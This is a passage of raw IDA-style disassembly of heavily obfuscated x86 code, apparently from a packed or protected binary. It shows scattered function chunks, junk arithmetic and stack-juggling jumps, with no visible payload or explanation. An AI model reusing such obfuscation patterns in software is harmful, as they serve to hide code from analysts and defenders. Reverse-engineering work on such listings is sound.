; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AA62


loc_5A1B38:				; CODE XREF: sub_59AA62+AD4Bj
		push	4407h
		mov	[esp+0Ch+var_C], ecx
		push	ebp
		mov	ebp, 55E61F97h
		push	edx
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		mov	ecx, 38CC587Ah
		mov	edx, 2BD41B31h
		add	edx, ecx
		pop	ecx
		xor	edx, 57272520h
		shr	edx, 1
		and	edx, 76C807C1h
		sub	edx, 93D7A5AEh
		add	ebp, 492354FEh
		jmp	loc_5A250D
; END OF FUNCTION CHUNK	FOR sub_59AA62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1B7C:				; CODE XREF: sub_5AA2D1-7ED5j
		shl	dl, 3
		push	ebx
		mov	bl, 0D5h
		add	dl, bl
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		add	ch, dl
		jmp	loc_5A1CC3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A1B91:				; CODE XREF: sub_599D0E+B8BEj
		add	esp, 4
		pop	[esp+2+var_4+2]
		pop	esp
		push	dx
		mov	dl, 92h
		push	edx
		mov	dh, 87h
		jmp	loc_59B389
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1BA7:				; CODE XREF: sub_5992DA+890Bj
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_59F993
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A1BB6:				; CODE XREF: sub_5A477C-6C71j
		jmp	loc_5A6718
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1BBB:				; CODE XREF: sub_5AA2D1-F0C6j
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		jmp	loc_5A6419
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A1BCA:				; CODE XREF: sdfs____:0059B3FDj
		add	edi, 0F064C1E7h
		add	edx, edi
		jmp	loc_5A1ADF
; ---------------------------------------------------------------------------


loc_5A1BD7:				; CODE XREF: sdfs____:00599994j
		push	ecx
		jmp	loc_5A7460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A1BDD:				; CODE XREF: sub_5A0AA2+B1DDj
		jmp	loc_599A19
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1BE2:				; CODE XREF: sub_5992DA+11496j
		add	eax, 4
		jmp	loc_5A1BA7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_5A1BEA:				; CODE XREF: sub_5A5648+8DBDj
		push	ecx
		mov	ecx, 61CD2CE8h
		sub	ecx, 18414CB2h
		add	ecx, 0B310A4Dh
		jmp	loc_59BEEF
; END OF FUNCTION CHUNK	FOR sub_5A5648
; ---------------------------------------------------------------------------


loc_5A1C01:				; CODE XREF: sdfs____:005AA9B8j
		mov	[esp], edx
		mov	dh, 2Ah
		neg	dh
		jnp	loc_5A643C
		jmp	loc_5A8A44
; ---------------------------------------------------------------------------
		jno	loc_5A1A42
		add	cl, 0F3h
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A1C1D:				; CODE XREF: sub_5A77D5-5F4Dj
		sub	eax, 53AD5C01h
		mov	ecx, [eax]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		mov	ebx, [esp+0]
		jmp	loc_5ABB34
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A1C35:				; CODE XREF: sub_5A118F-AF8j
		dec	ebx
		xor	ebx, 8E519B0h
		js	loc_5ACA35
		shr	ebx, 7
		jp	loc_5A30FE
		add	ebx, 4ECC9DC7h
		push	ebx
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		shr	ecx, 6
		sub	ecx, 16E0B8AAh
		push	ebx
		mov	ebx, ecx
		push	ebx
		add	[esp+4+var_4], 38CA139Fh
		pop	esi
		jmp	loc_59E51B
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A1C76:				; CODE XREF: sub_5B03B3-11683j
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		shl	edx, 4
		xor	edx, 470B4928h
		add	eax, edx
		mov	edx, [esp-4+arg_0]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5ADB28
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1C96:				; CODE XREF: sub_59B69D:loc_5A06CDj
					; sub_5992DA+11FF2j
		pop	dx
		jmp	loc_5B0208
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A1C9D:				; CODE XREF: sub_5A0FFF+10E7j
		add	edx, esi
		pop	esi
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 0F9503467h
		add	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	sub_5A7746
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5A1CBC:				; CODE XREF: sub_5A577C+84A7j
		add	edi, edx
		jmp	loc_5AD8E3
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1CC3:				; CODE XREF: sub_5AA2D1-8745j
		pop	edx
		sub	ch, 0F3h
		jnb	loc_59C49B
		or	ch, 0E7h
		jmp	loc_5AED6D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A1CD5:				; CODE XREF: sub_5AF2D9-52A9j
		mov	esp, [esp+0Eh+var_10+2]
		add	ebp, 0C4FDFCBCh
		jmp	sub_5A81C4
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A1CE3:				; CODE XREF: sub_59F4D2+1771j
		mov	ebx, 735C68D8h
		sub	ebx, 735C68D4h
		add	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ecx
		push	[esp+arg_0]
		push	[esp+4+var_4]
		jmp	loc_5AFC2E
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1D0B:				; CODE XREF: sub_5992DA+16F39j
		add	bl, 0Fh
		sub	bl, 53h
		add	bl, cl
		add	bl, 53h
		sub	bl, 0Fh
		push	4704h
		jmp	loc_5A92F7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A1D23:				; CODE XREF: sub_5A2E41+94D5j
		add	edx, esi
		sub	edx, 11A17B6Dh
		sub	edx, 0CA45FC1h
		pop	esi
		jmp	loc_5A0B58
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5A1D37:				; CODE XREF: sub_5A917C+35j
		shr	edi, 2
		inc	edi
		sub	edi, 16CF8147h
		jmp	loc_5AE763
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------


loc_5A1D46:				; CODE XREF: sdfs____:005AB52Aj
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5A1D4F:				; CODE XREF: sub_5AD213+2Bj
		push	[esp+4+var_4]
		pop	ebx
		push	2968h
		mov	[esp+8+var_8], esi
		sub	esp, 4
		jmp	loc_5A6976
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A1D66:				; CODE XREF: sub_5AD795-B6DCj
		mov	edi, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_599FF2
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1D89:				; CODE XREF: sub_5992DA+10D3Fj
		xor	dh, ch
		pop	ecx
		sub	esp, 4
		mov	[esp-6+arg_0+2], eax
		push	ecx
		mov	ch, dh
		mov	al, ch
		mov	ecx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 2DC26B6Fh
		push	edi
		mov	edi, 19EE48B4h
		jmp	loc_5A4B9A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A1DB4:				; CODE XREF: sdfs____:0059C590j
		shl	esi, 1
		jz	loc_5A8267
		sub	esi, 8D58EBFEh
		push	edi
		mov	edi, esi
		jmp	loc_59B588
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A1DCA:				; CODE XREF: sub_5AAB66+3j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		jmp	loc_5A5FDF
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------


loc_5A1DDE:				; CODE XREF: sdfs____:005AC67Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 49295B3Ah
		and	esi, 795A7F72h
		shr	esi, 8
		jmp	loc_5AA035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71F0


loc_5A1E0B:				; CODE XREF: sub_5A71F0-80B5j
		add	eax, ecx
		add	eax, 75B62E55h
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		jmp	loc_5A0CB6
; END OF FUNCTION CHUNK	FOR sub_5A71F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A1E1F:				; CODE XREF: sub_5A118F-4CB2j
		mov	edi, 1DD77C73h
		jmp	loc_59EDBE
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A1E29:				; CODE XREF: sub_5AE29C-7C2Bj
		add	ebp, eax
		jmp	loc_5A8EBA
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A1E30:				; CODE XREF: sub_59C979+5CCCj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A5F2B
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_5A1E3E:				; CODE XREF: sub_5AB08D+4F29j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		mov	ebx, 796A4CABh
		xor	ebx, 42CE4436h
		jmp	loc_59996C
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1E55:				; CODE XREF: sub_5AA2D1-327Fj
		sub	edi, 0D4D0677h
		jmp	loc_5992C7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_5A1E60:				; CODE XREF: sub_59B95E+4455j
		add	esi, 2988124Bh
		add	esi, edx
		sub	esi, 2988124Bh
		jmp	loc_599D64
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_5A1E73:				; CODE XREF: sub_59B3C9-2092j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AD614
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5A1E80:				; CODE XREF: sub_5A10E3+3596j
		sub	ebx, 28C565B0h
		sub	ebx, 3DA15C5Fh
		push	edi
		mov	edi, 2DC12AC9h
		add	edi, 0E30F4ACCh
		sub	ebx, edi
		pop	edi
		jmp	loc_5A6219
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A1EA0:				; CODE XREF: sub_5AC18D-10A66j
		push	ecx
		mov	ch, bh
		mov	[eax], ch
		jmp	loc_5AA2DF
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A1EAA:				; CODE XREF: sub_5A9EC5-10A53j
		sub	ch, 0F3h
		add	ch, 73h
		jmp	loc_5AB15E
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A1EB5:				; CODE XREF: sub_5A477C-5BBEj
		mov	[esp-14h+arg_10], ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A1EBD:				; CODE XREF: sub_5A0FFF-1004j
					; sub_59AFE7+FF36j
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_5A11D8
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------


loc_5A1EC8:				; CODE XREF: sdfs____:00599530j
		pop	esi
		add	esi, 4
		add	esi, 2
		jmp	loc_59A3F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5A1EDA:				; CODE XREF: sub_59ED98-36BCj
		sub	bl, dh
		add	bl, 72h
		mov	edx, [esp+4+var_6+2]
		add	esp, 4
		add	al, 0B2h
		sub	al, bl
		jmp	loc_5A6026
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A1EF1:				; CODE XREF: sub_59D18A+Fj
		pop	eax
		sub	[esp+8+var_4], 7AD638A5h
		push	ecx
		mov	ecx, 7C0D318Ch
		sub	[esp+0Ch+var_4], ecx
		pop	ecx
		jmp	loc_5A4CC5
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1F0A:				; CODE XREF: sub_5992DA+DEE7j
		mov	[esp+0Ah+var_C+2], eax
		push	[esp+0Ah+var_C+2]
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5ABAF0
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1F21:				; CODE XREF: sub_5AA2D1-10E7Dj
		mov	ebp, edi
		jmp	loc_5AC717
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A1F28	proc near		; DATA XREF: sdfs____:00598FECo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A36BD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3DA1 SIZE 00000020 BYTES

		mov	cx, [esp+0]
		push	5D32h
		mov	[esp+4+var_4], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5A36BD
sub_5A1F28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A1F43:				; CODE XREF: sub_5B01F7-11989j
		mov	ecx, 5DD7717Fh
		neg	ecx
		push	eax
		mov	eax, 6D73557Ah
		jmp	loc_5AC120
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5A1F55:				; CODE XREF: sub_5AD243-11A79j
		add	eax, ebx
		add	eax, 677F6D3Eh
		push	ecx
		jmp	loc_59A4F9
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE39


loc_5A1F62:				; CODE XREF: sub_59AE39+8AE0j
		add	eax, ebp
		sub	eax, 371F19FDh
		sub	eax, 123C6B60h
		jmp	loc_5A9C03
; END OF FUNCTION CHUNK	FOR sub_59AE39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A1F73:				; CODE XREF: sub_59D6B8+DD5Ej
		mov	ebx, esp
		jmp	loc_5A6745
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A1F7A:				; CODE XREF: sub_5ADD33-1147Dj
		mov	esi, 7E452AC3h
		add	esi, 47AD3E3Dh
		and	esi, 4C0F79CDh
		add	esi, 56EC2BB5h
		jmp	loc_5A9DE0
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A1F96:				; CODE XREF: sub_5A0AA2-1F63j
		and	ecx, 57090D71h
		neg	ecx
		not	ecx
		jmp	loc_5AC8A6
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A1FA5:				; CODE XREF: sub_5A7BA0-B84Fj
					; sub_5A4D9D+963Fj
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_5998F4
; END OF FUNCTION CHUNK	FOR sub_5A7BA0

; =============== S U B	R O U T	I N E =======================================



sub_5A1FAD	proc near		; CODE XREF: sub_5ADD13-C6FCj
		push	ebx
		mov	ebx, 4E426B86h
		push	esi
		mov	esi, 3A52258Ch
		mov	ecx, 869DD2Eh
		jmp	loc_5A096C
sub_5A1FAD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A1FC3:				; CODE XREF: sub_5A580F-40D3j
		pop	ebp
		push	5A1Ah
		jmp	loc_5A25FA
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A1FCE:				; CODE XREF: sub_5A7746-16Bj
		mov	ebp, 5C874B0h
		mov	ecx, 41313D4Eh
		xor	ecx, ebp
		pop	ebp
		neg	ecx
		inc	ecx
		push	eax
		mov	eax, 497115B9h
		shl	eax, 4
		not	eax
		dec	eax
		push	5469h
		mov	[esp-4+arg_0], eax
		add	[esp-4+arg_0], 0FFFFFFFFh
		pop	eax
		and	eax, 5615509h
		jmp	loc_5A61FB
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A2001:				; CODE XREF: sub_5A5B27-47EFj
		push	dword ptr [esp+0]
		pop	edi
		push	624Bh
		jmp	loc_5A6D85
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A200F:				; CODE XREF: sub_59C979+CE00j
		sub	esi, 7E54271Fh
		add	esi, eax
		sub	esp, 4
		mov	[esp+6+var_6], eax
		jmp	loc_59B0B8
; ---------------------------------------------------------------------------


loc_5A2025:				; CODE XREF: sub_59C979+C0C6j
		add	ebp, 0D5E1098Fh
		xor	edx, ebp
		jmp	loc_59FC80
; ---------------------------------------------------------------------------


loc_5A2032:				; CODE XREF: sub_59C979+1B62j
		push	eax
		mov	eax, 4
		add	edi, 3C7320DFh
		add	edi, eax
		sub	edi, 3C7320DFh
		pop	eax
		jmp	loc_5A7ED6
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A204C:				; CODE XREF: sub_5A2E41+CCAj
		push	791Fh
		mov	[esp+18h+var_18], ecx
		jmp	loc_5AD034
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2059:				; CODE XREF: sub_5AA2D1-5D1Ej
		not	ebx
		jmp	sub_5A3947
; ---------------------------------------------------------------------------


loc_5A2060:				; CODE XREF: sub_5AA2D1-53D1j
		jmp	loc_59BBCE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A2065	proc near		; CODE XREF: sub_59CBE1+C89Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005A4765 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ACC21 SIZE 0000001F BYTES

		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5A4765
sub_5A2065	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB179


loc_5A2072:				; CODE XREF: sub_5AB179+1j
		mov	ebp, 453E0712h
		sub	eax, 354811D8h
		push	ebp
		mov	ebp, 5A466C9Bh
		shl	ebp, 4
		shr	ebp, 2
		shl	ebp, 8
		not	ebp
		push	edi
		mov	edi, 30AF344Fh
		and	ebp, edi
		pop	edi
		jmp	loc_5AF6DC
; END OF FUNCTION CHUNK	FOR sub_5AB179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A209B:				; CODE XREF: sub_5A2E41-492Bj
					; sub_5AC803-B63Fj
		sub	eax, 4FEDED09h
		add	ebx, eax
		pop	eax
		or	ebx, 11C51055h
		xchg	eax, ebx
		xchg	eax, ebx
		push	ebx
		xchg	eax, [esp+4+var_4]
		not	eax
		jmp	loc_59EA40
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A20B6:				; CODE XREF: sub_5AD795-12AE3j
		push	dword ptr [esp+0]
		jmp	loc_5A1D66
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A20BE:				; CODE XREF: sub_5A0FFF-4AA9j
		xchg	esi, [esp+0]
		pop	esp
		push	edi
		mov	edi, 4FEE40A8h
		xor	edi, 530F6EF2h
		push	edx
		mov	edx, 767B5E7Bh
		sub	edx, 1
		push	esi
		mov	esi, 340A6D85h
		sub	esi, 56A0A139h
		jmp	loc_5A1C9D
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		jmp	loc_59CEAD
; ---------------------------------------------------------------------------


loc_5A20F4:				; CODE XREF: sdfs____:005A0140j
		mov	ebx, 520A1341h
		sub	[esp+8], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_5AC655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A210C:				; CODE XREF: sub_59C979-2A2Ej
		add	ebx, esi
		push	edi
		mov	edi, 683C2089h
		jmp	loc_59AA90
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF3AA


loc_5A2119:				; CODE XREF: sub_5AF3AA+24j
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		pop	eax
		push	330Bh
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		jmp	loc_59E541
; END OF FUNCTION CHUNK	FOR sub_5AF3AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A2133:				; CODE XREF: sub_59DB82+Dj
		mov	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xor	ebx, ebp
		jmp	loc_5A6B6D
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A2142:				; CODE XREF: sub_5A77D5+2376j
		shr	ecx, 6
		jmp	sub_5A00E2
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A214A:				; CODE XREF: sub_5A503A-193Bj
		or	ecx, 73AC735Bh
		jmp	sub_5A405F
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A2155:				; CODE XREF: sub_5A913B+43ABj
		sub	ch, 9Eh
		mov	dh, ch
		pop	ecx
		add	dh, 1
		or	dh, 0DDh
		jmp	loc_5A4B26
; END OF FUNCTION CHUNK	FOR sub_5A913B

; =============== S U B	R O U T	I N E =======================================



sub_5A2166	proc near		; CODE XREF: sub_599A61-713j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A803 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AC59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BD33 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F126 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3B6F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8A44 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ACD30 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE89B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AEC34 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AEF67 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AF68E SIZE 00000014 BYTES

		push	ebp
		jmp	loc_5ACD30
sub_5A2166	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A216C:				; CODE XREF: sub_5AA2D1-E090j
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp-10h+arg_C]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	sub_5A3E64
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A2183:				; CODE XREF: sub_5A72CB:loc_5A123Fj
		jmp	loc_59C6A3
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_5A2188:				; CODE XREF: sub_5A26E8-1BFAj
		add	edx, esi
		push	[esp+8+var_8]
		pop	esi
		push	ecx
		push	esp
		jmp	loc_5A7B28
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A2195:				; CODE XREF: sub_5A77D5-C2C1j
		mov	ebp, 6F0D57C3h
		mov	ebx, 0DD7B2221h
		jmp	loc_59C091
; END OF FUNCTION CHUNK	FOR sub_5A77D5

; =============== S U B	R O U T	I N E =======================================



sub_5A21A4	proc near		; CODE XREF: sub_5AA2D1-96ACj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599BDD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AFCB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D04D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F368 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2C67 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2FA8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3B2A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A7890 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A9111 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A9A45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD25E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ADECF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AFB1C SIZE 0000000B BYTES

		push	ebp
		push	0FA340FFh
		pop	ebp
		neg	ebp
		jz	loc_599BDD
		xor	ebp, 0F894CB51h
		mov	edx, ebp
		jmp	loc_5A2C67
sub_5A21A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
